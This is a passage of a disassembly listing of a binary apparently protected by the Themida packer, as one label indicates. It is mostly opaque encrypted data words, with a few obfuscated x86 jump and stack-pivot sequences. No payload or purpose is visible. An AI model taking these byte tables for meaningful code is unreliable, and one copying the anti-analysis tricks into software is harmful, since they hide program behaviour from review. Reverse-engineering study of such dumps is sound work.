		dd 8EB602EDh, 0B35935B5h, 1757C04Fh, 60000000h,	1BE07351h
		dd 38759D5Dh, 0D1AC37C0h, 90759D52h, 0FFFCD429h, 637BCEFFh
		dd 0DEB9C1F5h, 0A703086Ch, 0DA0D6B49h, 759E2A55h, 0E6719E62h
		dd 4F8B1F2Eh, 5F3D2F13h, 0DF686684h, 931FC414h,	0A514EC6Fh
		dd 0D27E74Ch, 1E3B8BCh,	0A45D0000h, 759D5CC3h, 0BC322596h
		dd 7CF275C2h, 1DC62402h, 759D5C90h, 0E0AC5BA7h,	9D5C664Fh
		dd 408BA175h, 4F3CB21h,	0D674BA2Eh, 2897EF0Dh, 35D7AFCDh
		dd 9BFC8147h, 9C16E59Bh, 3AC7E073h, 4B81759Dh, 0BC22980h
		dd 9665B603h, 72000001h, 6D3236B4h, 36EA6E46h, 7927C5A1h
		dd 7657CFEh, 0C1BD9D8Fh, 0AD48F72Bh, 0A288774Fh, 77F3743Ch
		dd 260DED1Fh, 759DF959h, 0C826827Eh, 8AF40B1Fh,	0E802FE4Fh
		dd 5E38B1B2h, 30C34CACh, 6F92F3A7h, 44C00BC1h, 0E6116D83h
		dd 0D5460CBh, 29C3BCh, 7BD40000h, 667DF863h, 712D8905h
		dd 748CCC17h, 0DE814F8Ah, 0AA403C9Ah, 9234B801h, 0AF1AD26Fh
		dd 0E16F15Ah, 0ECB2BCh,	0B4430000h, 0CCB25836h,	7694F20Bh
		dd 5D52DF08h, 9961759Dh, 1757123Dh, 0B4CA8DBFh,	625C3ABDh
		dd 9D5D2CF1h, 1BF74B75h, 34106EF1h, 9D5D5E23h, 88E27575h
		dd 9F6520Eh, 9D64FCFEh,	0B3B2C875h, 0C5C1253Ch,	0ED1FFB27h
		dd 0F177510Dh, 752C80AFh, 78E710C4h, 64293A18h,	73759C5Ch
		dd 5A34B48Fh, 19E105ADh, 8BE6343Fh, 0F12F4F8Eh,	17A4847Bh
		dd 8C57FF2Eh, 6F8E61FFh, 611B2414h, 44A4BF99h, 27AFD4Ah
		dd 866587E3h, 86095577h, 9C2AC0BCh, 0ED3C5A2Fh,	403C9862h
		dd 4FA7F482h, 94711BDEh, 0A8Dh,	74C3BB30h, 0AF1876F1h
		dd 0EE5935B4h, 2897EF0Bh, 66D1ADCDh, 9CDCC869h,	59925522h
		dd 1557927Dh, 0D52BCEB9h, 0BBE50EF9h, 0ADF7E3A8h, 46B9F07Bh
		dd 7C5A34B4h, 0E40680FBh, 0D91C0B34h, 7C5C2BA3h, 5D48D51Eh
		dd 936F759Dh, 73517D64h, 9D5D1BE0h, 37C03875h, 0FF2A3EBCh
		dd 8D60EC28h, 1EA14B27h, 3B19E6E0h, 0C890F35h, 0EB0906h
		dd 0B04F81AAh, 0A19EA931h, 41Eh, 1623D446h, 14239BDDh
		dd 84E2489Eh, 0BEAC2A43h, 2EF36442h, 45759D5Dh,	994A4AF5h
		dd 4F8CEF7Dh, 0D3D7B088h, 1EC9270Bh, 4979E666h,	1745E75Bh
		dd 113E98DCh, 81A6F546h, 43A19F69h, 81A60B90h, 27D02869h
		dd 0AC176A51h, 7FC21EA0h, 396h,	5E13A418h, 53D1759Dh, 0A0759D5Dh
		dd 625C933Eh, 5AB410C8h, 8A753189h, 1A6AE04Fh, 0EA2283C3h
		dd 807824D3h, 4D4F3E42h, 0DA3BD1DEh, 995h, 6CDBB3C8h, 0A7106E89h
		dd 0E6512D4Ch, 20EFE703h, 5E29A5C5h, 94D4C071h,	51AA4D3Ah
		dd 0D6F8A75h, 0CD23C6B1h, 0B3ED06F1h, 0ADF8DBA0h, 4EB1F87Bh
		dd 0B25836B4h, 4D0706CCh, 0A8B71D94h, 6FD30B9Fh, 0D510D331h
		dd 59EF53F9h, 1913D4C4h, 0D49FA861h, 4F8D85B3h,	0B3F740B8h
		dd 7EE9C72Bh, 497CF721h, 0BCC2A16h, 2D2B94F2h, 5D9DD42Ah
		dd 0BB17CB61h, 0CB9EA991h, 697CD52Ah, 0D7A48FEDh, 0C5697CD4h
		dd 0D9012BA3h, 7A30DF23h, 0ADA39D63h, 0FE146FAh, 0CA39C62Bh
		dd 91ED09CAh, 6C6A8366h, 8F0765FEh, 7E589651h, 0B845EECCh
		dd 0DF697CC4h, 0D4788763h, 0F6D01ACCh, 69E5756Dh, 8EBEB443h
		dd 0AB4B8FABh, 0FB2E0468h, 0FE660775h, 9153AF51h, 0EA6CD31Bh
		dd 0BE7BDA70h, 0E7000008h, 0A0430C8Ah, 7BFE4945h, 3A3D8A04h
		dd 0FC77C0BEh, 58B5027Ch, 136B8397h, 0AE2841A4h, 0EAE406E1h
		dd 2AA4DA1Dh, 7FE8945Dh, 7BADF9B2h, 7B95C8C1h, 0B6A19F63h
		dd 4F8CEF59h, 4384E25Eh, 0E3AC2Ah, 0B6B1EFE7h, 0CFAD5F37h
		dd 8CCD9764h, 0E05CBC6Fh, 84B30B63h, 0DC26B8C8h, 601871E2h
		dd 4117497Ch, 61F2B3FDh, 697C359Ch, 0F28147BBh,	0D10FEBEDh
		dd 50FAD416h, 0F416708Fh, 0ED9FA804h, 5D9E41A5h, 0BB17CB61h
		dd 83E47F5Dh, 8453D80Bh, 9860697Bh, 0FAC6116Fh,	1F436835h
		dd 85B52123h, 30DAEA6Eh, 818D5h, 56304D00h, 93EB0EE9h
		dd 2CAAC124h, 6A648063h, 0A4225A9Dh, 693DF2DBh,	2FCAB511h
		dd 0EC07F0CEh, 0A0430C8Ah, 6E834C4Ah, 0FA58250Eh, 327F7BADh
		dd 3F36B4CBh, 0F129C3BBh, 0ADD3B15h, 759D5C85h,	0EFA1AE92h
		dd 92B81654h, 5E89E715h, 759D5CD1h, 5B2770E6h, 0D7ADA0B4h
		dd 0C534CC7Bh, 19CA46A4h, 759DB394h, 31895FA3h,	493B3EFDh
		dd 0EBE95632h, 96B41268h, 774FA9AAh, 267EE5C8h,	6721B602h
		dd 2F000001h, 57F5D114h, 51655CEBh, 0FD4CEE9Bh,	778019E5h
		dd 0EA007EFCh, 0D4A31B51h, 0C42208DEh, 8A770713h, 0EC1EE24Fh
		dd 5A34B58Eh, 7791DAADh, 253B6F92h, 0E770AED6h,	6F92761Ah
		dd 6EECEA00h, 0C84BBBF8h, 0D28EE2F7h, 0C0218A25h, 4282BC0Dh
		dd 93000000h, 7F579651h, 0C8E26DCDh, 61F22C16h,	4F8A73E9h
		dd 343A14E4h, 1B6E0271h, 6B25D294h, 925777C0h, 0F0DB116Fh
		dd 0DF53299h, 0DAF5BCh,	0BD9B0000h, 6207945Fh, 2C2C6F92h
		dd 92617A07h, 96A1996Fh, 5836B42Fh, 0F5D129B2h,	8EEE6957h
		dd 19261A30h, 48A6205Eh, 0F715718Fh, 5CD15E89h,	1AE6759Dh
		dd 4B43A5BEh, 2CE79A1h,	6D4B43B9h, 113B93EAh, 0D12F1E29h
		dd 53F9D516h, 0FB9560EFh, 0DF759D60h, 522C42A1h, 1BE440B8h
		dd 0D6BCF17h, 8152AECAh, 759D40FCh, 0A14B271Bh,	7EFA79h
		dd 404E99F7h, 554F8F71h, 2C488BE5h, 2C27A552h, 5394F2CCh
		dd 0A594A31Bh, 833BA1A7h, 81D2BF18h, 86B16D69h,	31338BE3h
		dd 0DE4F4ECFh, 76E726C4h, 2F000006h, 0E80BF4D2h, 0A346318Dh
		dd 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh,	1670896Ch
		dd 522C4EA9h, 92EC02E5h, 8750CC25h, 7BADFBFAh, 0B46D9019h
		dd 0AED5A34h, 362D9AF4h, 0B25836B4h, 0CFBD329h,	3993h
		dd 54D4B400h, 57B1796Dh, 37BFE79h, 730631E9h, 4F8CEF14h
		dd 95F174CFh, 0C07C8B77h, 0E1249F78h, 0D432F8EEh, 7C5FE503h
		dd 499AE049h, 697C3EC4h, 0D4B36FD3h, 456Bh, 96510C00h
		dd 0E6CC7B53h, 0BDC3A00h, 4F8A535Bh, 5F9D46h, 9C7CEEE8h
		dd 7AD60A20h, 43C91FD0h, 37AD6F92h, 698740C4h, 0F403FF6Dh
		dd 0E4C228BEh, 7F598373h, 86E57E49h, 0DBB70F6Fh, 0A26DC931h
		dd 9B3Dh, 637BDA00h, 51B6A19Fh,	564F8CEFh, 0AEF7A8EAh
		dd 6882FC7Ch, 113B93D7h, 0F0CE2A29h, 7F2605Ah
		dd 4EBDA31Dh, 137C90FBh, 5B13BCh, 7B240000h, 7EF863h, 7C5A36EAh
		dd 4C8D5FF6h, 0C51EAE67h, 0D8002AA4h, 6286512Fh, 674F8DE3h
		dd 9FE6999Bh, 99B30B63h, 3149A8C6h, 0A053F955h,	11CFB900h
		dd 42A900CBh, 0E5BC1289h, 1Dh, 9F637BF2h, 0EF4FB6A1h, 0E4544F8Ch
		dd 17B0F5AEh, 3CA7FAC1h, 0EFBC1379h, 14h, 646BA488h, 0D00E759Dh
		dd 4FFDD917h, 23FB6493h, 9CFFFFFFh, 0A19F637Bh,	8CEE41B6h
		dd 9AB0264Fh, 7AA28755h, 454DFF5Bh, 0F47F59A1h,	497CAE8Eh
		dd 8E49A79Bh, 99F5766Dh, 24D38F73h, 7CC61868h, 20CCD102h
		dd 17EB436Ch, 0C3BB3E39h, 98D31474h, 4599113Eh,	0AFA583FDh
		dd 0D1B10BA2h, 0F2BFA4D4h, 1636C34h, 0A58E0E39h, 3D5BC630h
		dd 0ACD2B17h, 67496F0h,	5BA550DDh, 3F9B675Dh, 9C52B010h
		dd 0FD66A0C1h, 5D5C4730h, 9975FB47h, 0E36C84h, 0D41FE8E6h
		dd 0C5A57C38h, 1FE8E604h, 8B10C321h, 0A8C5353Bh, 0AECCA750h
		dd 786E3AD0h, 0E78354B2h, 0E29F2250h, 5886EC1Eh, 0C3641A92h
		dd 0C14ED917h, 3BB1D03Bh, 0F771F443h, 8FEA6D9Fh, 0C0BC1A50h
		dd 17E2702Ah, 2996F00Ah, 38D2ACCEh, 0EE0EB0C7h,	0D3047A90h
		dd 0BF29804Eh, 1A5E9565h, 0B1358EBCh, 8E7DF3D5h, 49B0B694h
		dd 77C0BE38h, 9E647B00h, 7D00E6Ch, 759D5C7Ah, 6B302399h
		dd 88759D5Ch, 0E01FD4B0h, 609E59E6h, 5A9CC466h,	60CA1D6Fh
		dd 0A01E5C97h, 0B9C60C62h, 0B8AACABEh, 27F47F59h, 4C759D7Ah
		dd 0B0C043CCh, 69F8C365h, 9A5DBB13h, 19C16B63h,	91D46FEEh
		dd 0AEA91735h, 33C6714Dh, 759D796Eh, 11309B51h,	0D40FF8D6h
		dd 5D163492h, 759D7B0Dh, 96B3061Ch, 7A8D7A54h, 759D9D31h
		dd 79B0742Ah, 5D39E444h, 3BBE44Eh, 0FF7B47B6h, 0B450FFFFh
		dd 91EF5836h, 5836B0B3h, 9D5D068Bh, 222D2D75h, 0AECA2947h
		dd 6AC63AD0h, 0FDD91728h, 303666A7h, 7BF25CE5h,	67FD0A27h
		dd 1F77F594h, 2066DA0h,	350EB602h, 3885BB5h, 10759E55h
		dd 78F74C28h, 30CEC1Eh,	4412h, 96512300h, 0E7CB7452h, 0ADD3BFFh
		dd 4F8CEEECh, 0ED0301F9h, 95B70F6Ah, 228A6C2h, 72D562DEh
		dd 0C732321Eh, 0D80B7175h, 6F8CCE53h, 0C23C9860h, 8F0763E4h
		dd 0C792BD9Dh, 497C60A1h, 2FB54A4h, 3Eh, 9F637B23h, 4442A6A1h
		dd 1D5E10A6h, 8F09D67Bh, 0B3A424D3h, 4F8CFE55h,	0F1AAE850h
		dd 0D43202AAh, 8CDC7E03h, 24E8A16Fh, 0EEAA17F7h, 9D63EC6Ch
		dd 200ADC2Eh, 0DDF71DC6h, 0EF2497Ch, 36B46A51h,	87E57E58h
		dd 8B4C000Fh, 84AE1975h, 0B5BE9862h, 4F8A5861h,	0A01E5F98h
		dd 0F7A9568Ah, 0FD4EE10Bh, 976F9257h, 343A6A51h, 0C430E82Bh
		dd 218CBB47h, 0BC0E1CBAh, 286Dh, 637B0A00h, 36B6A19Fh
		dd 3B4F8A74h, 894A44A0h, 7FB116Dh, 9D2E81ABh, 376F9234h
		dd 0C77CA31h, 9FBC0E18h, 0D7h, 5836B4B8h, 0F5D129B2h, 106E8C57h
		dd 8FF83036h, 6AA9BBE5h, 52A833DDh, 0F6788B74h,	32759E44h
		dd 0F275C2BCh, 0AC31687Ch, 6C0274BEh, 0A39F8D09h, 0B1C16BC7h
		dd 8DEBC52Dh, 9D67D55Ah, 0F11EE275h, 36B2B593h,	678409DAh
		dd 0AF93759Dh, 56E159F3h, 8A769383h, 0F0D88E4Fh, 0A346FD40h
		dd 78B8293Fh, 0EA34B3A7h, 7569410Eh, 143690EAh,	0C56E4824h
		dd 498423F5h, 0CD0660D8h, 8366D1ADh, 0F9D1136Bh, 1EE45A96h
		dd 1F3916Ch, 55AA0000h,	106B8E79h, 0CF2EC9B6h, 89ED08F7h
		dd 47A7420Dh, 628F804Fh, 0EF5836B6h, 2C9BF374h,	68D7AFC9h
		dd 0A8176F8Dh, 7D02D543h, 9A7BAE00h, 34B4E017h,	5C820FD8h
		dd 4EA5759Dh, 0B0AF6D0Bh, 0F854A456h, 0AB23459Eh, 344AAD9Ch
		dd 7BF6ED5Ah, 0B6A19F63h, 4F8A7436h, 0B10D6CE7h, 0C466DA86h
		dd 9233DA63h, 1571886Fh, 0B30B6CF7h, 6B302399h,	886F9232h
		dd 0EEDD9BB0h, 0F2754334h, 6CF4037Bh, 17DF449Dh, 0DF40BC0Eh
		dd 55000000h, 7F579651h, 7E26DCDh, 1A748AE9h, 0BEAC08F0h
		dd 23C9C525h, 9D594688h, 0B20C6275h, 70CC22C5h,	9D581AE7h
		dd 65C13975h, 0A8BB99C7h, 759D57E3h, 0ABFF08F0h, 0B391CF33h
		dd 0B15E38B0h, 8A66EE26h, 0A06FD34Fh, 7189548Ah, 0AF0BF715h
		dd 7633E671h, 20184984h, 8AE90DC6h, 8DBF1B73h, 0C422A2ADh
		dd 7EECEA03h, 7AF27582h, 38B0B31Ch, 4536845Eh, 0B755E45Ah
		dd 0F056h, 7E589500h, 0BB135691h, 0F4D229CCh, 328CE80Bh
		dd 4C4AA245h, 0B1658A83h, 77F25D39h, 342F98F6h,	886BD4B2h
		dd 46AB1472h, 1800DD6h,	1A977BAEh, 0B69B51E3h, 1571880Ch
		dd 0C6C50BF7h, 279FD836h, 0CE79D505h, 0CFBD32Bh, 0BEB993E9h
		dd 0D92413Dh, 1E759DD9h, 83FF47DEh, 12C07A5Dh, 9957FB86h
		dd 0E8442011h, 36B4381Fh, 0D329B258h, 215A9DFBh, 0AC5B87A5h
		dd 0D2895FBDh, 583E817Eh, 0F6D0837h, 0FC8C8B7h,	8F6A95F1h
		dd 89F71571h, 30772B43h, 61EE0E97h, 30474296h, 4187F1E7h
		dd 0BEFE72E1h, 0F28AB58Fh, 22449F07h, 3D2FA7C3h, 13D661DDh
		dd 6E6886DDh, 0ED7654B2h, 7492220h, 0CD3CCB37h,	9CFAD42Ah
		dd 9EA9255Bh, 354B8CF2h, 0AFCBAE59h, 47A235D7h,	0E11ADD4Fh
		dd 0DD1347E5h, 1CD234EEh, 605E9CADh, 0A01E5C97h, 34B8Ah
		dd 936C0000h, 5F37B42Ch, 0FAD42AADh, 116D8F50h,	8F0760FBh
		dd 24A2DA9Dh, 413DBD06h, 0FAD410ABh, 16708F50h,	8E0863F4h
		dd 0E568199Ch, 89000063h, 89562434h, 4C681E6h, 83000000h
		dd 348704EEh, 3C895C24h, 4F766824h, 0C890000h, 97685024h
		dd 5807F54Eh, 8AFF5405h, 58C7892Ah, 2A0AE781h, 0E7813341h
		dd 5AC76842h, 19BC781h,	0C7817170h, 82A086DEh, 240C8B54h
		dd 8304C483h, 3C8904ECh, 8418F24h, 592434FFh, 8B04C483h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		dw 87F0h
		dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh
; ---------------------------------------------------------------------------


loc_596764:				; CODE XREF: Themida_:loc_595084j
		mov	eax, 610A636h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0ACh, 0ADh, 9Dh
		dd 0ECC17C4Ch, 6ACBE62Ah, 511E355Eh, 9104BC27h,	0EE4CA13Dh
		dd 6E09C63h, 0C0941966h, 0EF13F761h, 942A945Eh,	0BDBFCA36h
		dd 9E842h, 6B5A0000h, 0F77A1C2Dh, 0FF5CB3Fh, 589h, 0F7816600h
		dd 565A3C0Bh, 14E9h, 0D3A6EB00h, 983BF21h, 5F940A66h, 65456B72h
		dd 0C9D8A2ECh, 0C2815B27h, 6319h, 10E9h, 29AE2200h, 0EF108D68h
		dd 2FC19596h, 46F5B6EBh, 1890B952h, 0BF0F0000h,	60328BC3h
		dd 0F616060h, 6161FBBFh, 3DE8C681h, 0D4806075h,	21F681D1h
		dd 664FA3D0h, 814442BBh, 49BA46EEh, 0EB816610h,	3289FE2Fh
		dd 0EA83C78Bh, 7830F02h, 50000000h, 6CF8166h, 4A4A5854h
		dd 0C1B70F57h, 1E98158h, 0F000000h, 1A85h, 12EFB800h, 30E9394Bh
		dd 0E3000000h, 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 0F0DEA6Fh
		dd 18Ch, 8AE9F800h, 0B8FFFFFFh,	0B418A160h, 0F4615F19h
		dd 0ED60E2Bh, 891D649Bh, 8D2E4E5Ah, 10A8BB8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 1F9F280Ch, 4D8D893Fh, 6A060B17h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 520BC353h
		dd 0ACEC2F2Ch, 1985C710h, 28060B01h, 6A00005Ch,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0F6EC350h, 100985C7h, 60Bh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 830F7EC3h
		dd 6, 65B9EA81h, 0B5FF4846h, 60B0ED9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D0C35242h,	0CB18509h, 95FF060Bh
		dd 60B0AC5h, 2870Fh, 0F38B0000h, 95FF006Ah, 60B32DDh, 0DEBC08Bh
		dd 0AB71B69Fh, 0FF311A5Bh, 1B547F0Bh, 0C508EB14h, 9C797E7Fh
		dd 0E977E733h, 0DA8h, 10AAC268h, 0D651E906h, 1668FFFAh
		dd 0E90610ACh, 0FFFAD647h, 10AD9968h, 0D63DE906h, 0B468FFFAh
		dd 0E90610AEh, 0FFFAD633h, 10B02A68h, 0D629E906h, 5568FFFAh
		dd 0E90610B2h, 0FFFAD61Fh, 10B40668h, 0D615E906h, 0F068FFFAh
		dd 0E90610B4h, 0FFFAD60Bh, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
		dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
		dd 0B2C72033h, 0BDAF5C87h, 84B45D29h, 0FD63D2C5h, 176DD5DEh
		dd 75BBA428h, 0D488270Fh, 2B9FF3D7h, 92AFF421h,	0B18C9974h
		dd 93A8F4A2h, 0C5CE3F49h, 26C00488h, 9F80D35Eh,	0AA1E64BDh
		dd 618ECABAh, 0C334B3Ah, 88C7D1B8h, 0D9D4CE04h,	2E38767Eh
		dd 0A387DE68h, 619B2A8Eh, 2C353FC8h, 48E1h, 0BCC47B00h
		dd 0B5B700C4h, 4B7A1CEDh, 0B43E1D8Ch, 0D6FA49Ah, 0D140E476h
		dd 5EBD9F05h, 2195A8F1h, 2D0589EDh, 3A60CB5Dh, 0E635E088h
		dd 5A2367EBh, 0D4CE7845h, 0C70A23D9h, 1C272C35h, 0B5000001h
		dd 189FB406h, 0AC5A781Bh, 0BB33BDB6h, 0C3941DCFh, 1DCDB92Dh
		dd 7842C394h, 0EFE62E9Fh, 0B9CD618Bh, 0EC3941Dh, 0E6331A34h
		dd 25DA01EBh, 7E0AA2BEh, 0F1C39456h, 0C2354E89h, 8C5EB25Ch
		dd 59AC1461h, 4CA0E468h, 0E36A84F8h, 0D5E43399h, 23C92D61h
		dd 26AAA7F2h, 1DCC44E2h, 625FA808h, 0EBD62F9Eh,	7ECF2367h
		dd 37251938h, 6987BEC6h, 0D2EF38E1h, 7C3C9D01h,	0EA3FC394h
		dd 45C34704h, 0D222A328h, 0B0A387FBh, 6D814257h, 0C394D719h
		dd 0CCB094EEh, 0A14BD0ACh, 9FC9080Dh, 1EC53DBDh, 0ADDB0092h
		dd 0CC8CFF10h, 987F0BDBh, 8AF03A61h, 273C405Ch,	9CBB135h
		dd 0CBA4446Ch, 43A98DBCh, 0F2AC4E52h, 0DB1DC2D3h, 3AEB086Ch
		dd 0A10DFE6h, 798C6A67h, 0AFF3689h, 0A1C0000h, 0B0C72033h
		dd 66B55281h, 71F886Bh,	0B6CA3B38h, 86ED548Fh, 31221D67h
		dd 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h, 48C584B7h
		dd 0DADE03F9h, 7C8471FBh, 23CCA741h, 4D5D20D6h,	0CE9FCF77h
		dd 0BD8B09EAh, 0D8764B50h, 0B9A3B8C4h, 1DC3872Fh, 8529C394h
		dd 0C3941DC1h, 0BF837C46h, 0A04DDF91h, 39CD7B5Ah, 0BD9F0598h
		dd 82C66EF8h, 53A60CBh,	917A2BE6h, 81E50686h, 2E92E867h
		dd 60774606h, 5CB2C73Ah, 967DC52Fh, 15F9DDE3h, 9D615CA4h
		dd 1C6E7FB5h, 0FFCC73F9h, 8BE78DA0h, 3FCEE806h,	0C7832BB5h
		dd 483A6067h, 0C36AD472h, 0EE2C356Ah, 0EDh, 6DD5DE76h
		dd 41352914h, 0C9BD8098h, 9418B819h, 0A56EBBC3h, 6BE64501h
		dd 47F0CA3Ch, 0B1D26DEAh, 6EFCD07Eh, 0B05E69BFh, 0F0CDD637h
		dd 3336F56Ah, 0E3D97476h, 0CFADCD45h, 0B0EA6B4h, 5142608Ch
		dd 9BA5CA4h, 93CAD32Bh,	0D433DD31h, 7AF27CEEh, 3A60830Eh
		dd 0D1E66281h, 98DD81A6h, 8DE98AA4h, 7E0AA2EFh,	0F13A608Eh
		dd 2F479589h, 446D1E56h, 0D0B4384Ah, 573072FFh,	7C46C563h
		dd 6BB15CEEh, 877E054h,	0B412ACB5h, 62EB0579h, 0D33C271Eh
		dd 1379F6C9h, 288C6B23h, 9AB65DAh, 0BEC80000h, 64B35C87h
		dd 12618E55h, 0B3CB243Fh, 62B6578Ch, 2A318053h,	6DF6C9D3h
		dd 9D467B80h, 0CA292470h, 66FDC8DDh, 0ABDF5795h, 3CC584B1h
		dd 0DADED74Dh, 1EC78FBh, 1377DBF6h, 320F18F5h, 98A7FD28h
		dd 4334534h, 7C435920h,	0D99AB488h, 0F8D5DE3Bh,	0F050A514h
		dd 0ADB6AAA7h, 4A90ABF1h, 9F24BB22h, 57AC59BDh,	84A2E66Ah
		dd 67CFB387h, 3A60E866h, 0B5FE2FBDh, 0D5E83198h, 0E46C793Bh
		dd 6CD0EF39h, 0ED1CFE28h, 0C42C3501h, 63Ch, 0E30D6F20h
		dd 0C9D3BA95h, 0EACE02F6h, 216DEC00h, 0F8C2BD9Fh, 59708372h
		dd 937791F5h, 60EE3353h, 8B7AE63Ah, 9AFE427Dh, 3CEAE533h
		dd 78916B7Ah, 512C3500h, 604h, 760D6FBFh, 0B6D25AE4h, 39C3941Dh
		dd 214527C1h, 0BD9F2F58h, 9D9AD95h, 3A60FC79h, 0C4D13CACh
		dd 0DF874E89h, 36C043Dh, 0CEC2C3E5h, 2C34CE1Fh,	0AAA7F01Dh
		dd 0BD44E226h, 5C8h, 0E32D465Bh, 1DA9DD51h, 0EB30C394h
		dd 0F71169D6h, 9C4ED5A7h, 9F053D08h, 67AE5FBDh,	84A2E66Ah
		dd 0E2DF2687h, 1847A98Eh, 9110D8C4h, 201F65F7h,	0EA04785Ch
		dd 752B431Ah, 575923CEh, 4A8E724Dh, 61608456h, 0EED04020h
		dd 0A51A2094h, 974F6C4Dh, 4458F678h, 0B5392338h, 0DA4CBAD8h
		dd 168755ADh, 0C223300Dh, 5B3F5FB1h, 0CFC6C295h, 5C7F23A7h
		dd 7A5EA4A2h, 5A6DC906h, 0A4AE1E89h, 828E3h, 4334700h
		dd 0EAE72EDFh, 0BC8D9C09h, 13046A7h, 0D0EF35D2h, 4EADB403h
		dd 3FE80B4Ah, 0EF18DBE6h, 58B5AE99h, 18E1724Fh,	0B0285CD0h
		dd 0D0BFC584h, 0B71EBD68h, 0F4FAED88h, 0D16F711h, 0FFE4C30h
		dd 9C20CEF9h, 7DF17B00h, 0BD84F8DEh, 5A816BAFh,	4FF2BCE2h
		dd 0DF98B639h, 7B0A4757h, 0A29FE63Ah, 4F86FADEh, 6AE75BEh
		dd 3A7B0A42h, 0A4004A8h, 0F3C73A7Bh, 19DA3E04h,	3B1A1E8Fh
		dd 0C9D57357h, 2B43A9B2h, 3A7B0A57h, 0BF6ED228h, 12845F6Ah
		dd 3A7B0B62h, 0F60FB5C3h, 2F0347CBh, 532B9E3Dh,	167CCF61h
		dd 858E7FF8h, 1C6CC448h, 293C84A1h, 15FA0Bh, 0B4C12E35h
		dd 0ADC15399h, 3A7BE1D9h, 56BA54AEh, 7BD1EE9Eh,	6461233Ah
		dd 845F6ABFh, 2D879D08h, 2519EDD8h, 1E2378C1h, 1140BF0h
		dd 0DE950000h, 0A514F8D5h, 94ABF153h, 488EC20h,	941D582Ch
		dd 0F9D421C3h, 7C98C715h, 221F66B8h, 0F7D58815h, 2C374559h
		dd 0B805B63Eh, 1C66427Bh, 632965D3h, 0D7A89A86h, 70Dh
		dd 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h
		dd 2F7588DFh
		dd 0DD22C310h, 829273E0h, 2A7FA84Bh, 3537C41Fh,	84B3D5B1h
		dd 75EB5AC5h, 14F8D5DEh, 0FA605FA5h, 1D80C468h,	3307C394h
		dd 63B55215h, 8F598654h, 0C8BC305Bh, 5FC394F4h,	0C3F3DC7Bh
		dd 0FA2BCC7Ah, 0A6479CA9h, 2E9F6352h, 0FD891DEAh, 72C394BFh
		dd 14FA3D3h, 0E9CD17BEh, 5D5701F5h, 6E51AB50h, 5FE97BF5h
		dd 9447B3D7h, 6CE34C3h,	0C3944742h, 0E953FDC5h,	32414B40h
		dd 769h, 7AC8F700h, 50000000h, 0E60ED5DEh, 0C3941DE2h
		dd 743EB65h, 88C3941Dh,	967A5EB2h, 942D2E5Eh, 24A1E3C3h
		dd 4D9FAAFFh, 0EDDFABC3h, 595E3C6Bh, 89A79B64h,	0D8F701EEh
		dd 0ED8DFC74h, 4B493C6Bh, 744355BAh, 0D6DE29EFh, 0B7C10BFFh
		dd 941D4B3Fh, 48E6DCC3h, 3084B3C5h, 58414C46h, 7CE2714Ch
		dd 0C3942506h, 0D7228297h, 0B8A286FAh, 0DE08374Dh, 4004C07Ch
		dd 0FEB9E732h, 0C801FFFFh, 318h, 0F8D5DE50h, 1DBCDC14h
		dd 8CA6C394h, 0B28F9801h, 677C33A8h, 9AC41238h,	4E89F782h
		dd 133D16CEh, 0A162B750h, 33EB9F17h, 67CC394h, 9433BACEh
		dd 0D1350DC3h, 3395C56Dh, 314C394h, 6EF84236h, 943382C6h
		dd 4C3D05C3h, 0DEDE0839h, 3FB7A5BEh, 0BD84AA9Ch, 85A95EDh
		dd 0EB866238h, 597B81Fh, 0A2F40000h, 485F48ABh,	0FE0DFA79h
		dd 0AFF710C3h, 5EA24390h, 1E45FC67h, 599AA5FFh,	896A57ACh
		dd 263D081Ch, 5281BCC9h, 5F2B43A9h, 0D0C584ADh,	0D5DEFB61h
		dd 708372F8h, 0F25BAF59h, 0A34C97AEh, 0AEA3EE56h, 5182E6DAh
		dd 0ED516CB4h, 75D9E43Ch, 4F54418Bh, 0D3D2D472h, 7F465C49h
		dd 0B499B78Bh, 682516Ch, 1D1470F4h, 0A79BC394h,	0D769789h
		dd 41533240h, 0C9000002h, 52FCCDDCh, 5E1EBDECh,	303A764Fh
		dd 6C0F8FB9h, 8D9805D7h, 0E4A6224Ah, 0D129C394h, 273509FDh
		dd 94E4FB8Fh, 0D8764CC3h, 0B7BEF070h, 0E93FC67Ah, 70836ADEh
		dd 879DF559h, 0C3D17406h, 71FCEC2h, 0F90A3352h,	0D2000001h
		dd 0E5770C6Fh, 0F65AAA5Bh, 90BE92AFh, 941D80C4h, 4F3307C3h
		dd 7A4EC9E7h, 239840C6h, 9E23ABA1h, 694BE5D4h, 0D329D45Ch
		dd 68B118ECh, 65D77155h, 335161C4h, 1BFEDh, 838E7F00h
		dd 405034B8h, 0E3D7C285h, 6FFB618Fh, 76E5770Ch,	0DEA88E04h
		dd 59133D6Eh, 1E3990CFh, 0DFE3A873h, 502DA531h,	58A2C394h
		dd 3227CF4h, 0B5EFC67Ah, 5B29C038h, 81003351h, 98000001h
		dd 5231E6Dh, 770C6F1Fh,	1D0D41E5h, 0B882C394h, 4E421CD4h
		dd 0D5CFC67Ah, 0E0920D8h, 5D203351h, 0B8000001h, 889B354Dh
		dd 95E95DB1h, 0D5DE857Bh, 1DE2E60Eh, 1D65C394h,	0D98C3339h
		dd 0B706EB88h, 812D52B6h, 17B2E876h, 5FA811F9h,	43741094h
		dd 87FBC394h, 96E6B0A3h, 47AD6556h, 785C5C3Dh, 0ABF77AF2h
